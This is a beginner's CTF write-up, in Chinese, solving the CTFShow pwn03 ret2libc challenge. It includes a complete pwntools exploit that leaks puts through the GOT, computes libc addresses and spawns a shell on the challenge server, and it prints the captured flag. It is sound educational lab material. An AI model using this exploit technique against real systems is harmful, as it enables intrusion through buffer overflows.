CTFSHOW pwn03 WrriteUp

vstral發表於2024-09-25

本文來自一個初學CTF的小白,如有任何問題請大佬們指教!

題目來源

CTFShow pwn - pwn03 (ret2libc)
https://ctf.show/challenges

思路

1.下載題目放到checksec先查一下
image

2.IDA開啟題目
image

Shift + F12檢視字串發現沒有system和/bin/sh,但是有libc檔案。

3.用gdb的cyclic查詢一下溢位所需要的大小
cyclic用法:
1.先用cyclic 40生成一段字串:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
2.gdb執行程式,輸入字串
3.cyclic -l 【錯誤地址】獲得溢位所需資料量為13

4.寫exp

點選檢視程式碼
from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28270)
elf = ELF('stack1')
context.log_level = 'debug'

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = 0x080483C0

payload1 = b'A'*13 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
io.sendlineafter(b'32bits\n',payload1)
io.recv()
leak_addr = u32(io.recv(4))

print(hex(leak_addr))
libc_base_addr = leak_addr - 0x67360
system_addr = 0x3cd10 + libc_base_addr
bin_sh_addr = libc_base_addr + 0x17b8cf
payload2 = b'B'*13 + p32(system_addr) + p32(1234) + p32(bin_sh_addr)

io.sendlineafter(b'32bits\n',payload2)
io.interactive()

5.得到flag
ctfshow{fad8c27d-13de-4e58-b0bc-8ad69859693e}

本題注意

1.題目第一次輸出有一個換行符,需要p.recv()接收掉這個換行符,第二次recv到的前四個位元組就是洩露出來的puts函式地址
2.本地執行時程式的libc使用的是本地/lib/i386-linux-gnu/libc.so.6這個位置的,而遠端的libc是老版本的ubuntu的,所以你在打本地寫的指令碼與打遠端的指令碼兩者偏移是不一樣的